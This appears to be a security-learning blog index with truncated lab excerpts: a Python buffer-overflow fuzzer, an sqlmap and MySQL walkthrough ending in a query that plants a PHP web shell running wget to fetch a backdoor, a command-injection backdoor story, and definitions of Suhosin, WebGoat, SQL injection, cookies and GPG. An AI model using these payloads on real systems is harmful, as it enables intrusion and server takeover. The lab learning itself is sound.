Learning

This time I will   tell you about   buffer   overflow   that occurs   in the File   Sharing   Wizard  application, this firs time I learn about buffer overflow. we 'll   get a   buffer   overflow   when   we   send  to that aplication  2000   bytes of data, this the sample fuzzer with python  : import socket import sys ips = '192.168.56.101' port = 80 string = "A" * 2000 print "[!] Launching Remote BoF on", ips,",hang on tight!" s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) try: connect=s.connect((ips, port)) except: print "[-] Oops! Cannot establish connection..\r\n" sys.exit(1) print "[*] Sending evil payload..\r\n" print "[*] Done! Check your debugger.." payload = ( 'HEAD %s HTTP/1.0\r\n' '\r\n') % (string) s.send(payload) s.close() whit that fuzzer aplication will crash but EIP not overwrite bicause this aplication protected whit SEH, we can see that with SEH chain menu in debugger : ...

To create backdoor from sql injection, the web must be vulnerable with sql injection. then we find the password for mysql database, that can be do with some tecnique, like social enginering or scanning with sqlmap, for exemple : root@bt:/pentest/database/sqlmap# ./sqlmap.py -u "http://192.168.56.101/dvwa/vulnerabilities/sqli/?id=&Submit=Submit" --cookie="Cookie: security=high; PHPSESSID=5c0eecdbcf2a5acdee16c2b389be67e4" --password after we got the password, now we enter to mysql with the following sintax: root@bt:/pentest/database/sqlmap# mysql -h [host ip] -u root -p  then press enter and input the password we got. now we on my sql shell, and from here we can create database and create backdoor. this sample sintax to download backdoor from other web : mysql> select "<? system('wget 192.168.56.1/cn.txt -O bar.php'); ?>" into dumpfile '/opt/lampp/htdocs/dvwa/bad.php' --; Query OK, 1 row affected (0.00 sec) now we ...

This time I will write about the exploit servers , the exploit I do over the web is there in , and the web has vulner . I did the following steps :   First , I did a scan of the web to find out what applications are used , and I get the web using wordpress and xampp server applications , since both use the latest version so I do not get vurner . Second , I find that there are vulner used in gadgets , and I found a gadget for the vulner ping an ip , after my tests I found that I can run a variety of commant therein . Third , I wrote commant that serves to download a backdoor that I had prepared . and my backdoor successful entry into the web. F ourth , after a backdoor embedded it is time to find where the location of the embedded backdoor , it's not hard to do because we can use the vulner commant execution had to look for it . after found it, I open the backdoor. until...

In this case i learn to built system and

Suhosin is an advanced protection system for PHP installations. It was designed to protect servers and users from known and unknown flaws in PHP applications and the PHP core. Suhosin comes in two independent parts, that can be used separately or in combination. The first part is a small patch against the PHP core, that implements a few low-level protections against bufferoverflows or format string vulnerabilities and the second part is a powerful PHP extension that implements all the other protections. Suhosin is an open source patch for PHP. "The goal behind Suhosin is to be a safety net that protects servers from insecure PHP coding practices." In some Linux distributions (notably Debian and Ubuntu) it is shipped by default. why is suhosin called suhosin ? According to some blog entries a few korean people are kinda suprised about the name. They wonder why a german developer has choosen a korean word for his project’s name. The reason for this is very simp...

WebGoat is a deliberately insecure J2EE web application maintained by OWASP designed to teach web application security lessons. In each lesson, users must demonstrate their understanding of a security issue by exploiting a real vulnerability in the WebGoat application. For example, in one of the lessons the user must use SQL injection to steal fake credit card numbers. The application is a realistic teaching environment, providing users with hints and code to further explain the lesson. 1. Before installing firs download webgoat from this link  . 2. To   extract   the   file   format   7zip, install p7zip by :     apt-get install p7zip 3. Now extract webgoat file :      p7zip -d WebGoat-OWASP_Standard-5.3_RC1.7z 4.  if   the   extract   has been completed , go   into the   folder   extract :     cd  WebGoat-OWASP_Standard-5.3_RC1 5.  change the   file p...

SQL injection SQL injection is a code injection technique that exploits a security vulnerability occurring in the database layer of an application (like queries). The vulnerability is present when user input is either incorrectly filtered for string literal escape characters embedded in SQL statements or user input is not strongly typed and thereby unexpectedly executed. It is an instance of a more general class of vulnerabilities that can occur whenever one programming or scripting language is embedded inside another. SQL injection attacks are also known as SQL insertion attacks. Incorrectly   filtered   escape   characters when the user   input   string   into a   form   that is not   filtered   then the   user   can   input   a   query that can be dangerous,   such as   display   tables or   even   delete...

Terminologis Session cookie A session cookie only lasts for the duration of users using the website. A web browser normally deletes session cookies when it quits. A session cookie expires if the user does not access the website for a period of time chosen by the server (idle timeout). Persistent cookie A persistent cookie will outlast user sessions. If a persistent cookie has its Max-Age set to 1 year, then, within the year, the initial value set in that cookie would be sent back to server every time the user visits the server. This could be used to record a vital piece of information such as how the user initially came to this website. For this reason, persistent cookies are also called tracking cookies.   Secure cookie A secure cookie is only used when a browser is visiting a server via HTTPS, ensuring that the cookie is always encrypted when transmitting from client to server. This makes the cookie less likely to be exposed to cookie theft via eavesdropping. H...

GNU Privacy Guard ( GnuPG or GPG ) is a free software alternative to the PGP suite of cryptographic software. GnuPG encrypts messages using asymmetric keypairs individually generated by GnuPG users. The resulting public keys can be exchanged with other users in a variety of ways, such as Internet key servers. They must always be exchanged carefully to prevent identity spoofing by corrupting public key ↔ "owner" identity correspondences. It is also possible to add a cryptographic digital signature to a message, so the message integrity and sender can be verified, if a particular correspondence relied upon has not been corrupted. How to start making GPG in linux  : 1. Install Kleopatra to manage your GPG sertificate     apt-get install kleopatra 2. Install Libakonadi-contact4     apt-get install libakonadi-contact4 3. After two tools are installed , the next step is regristasionto get the key , by the following steps :   ...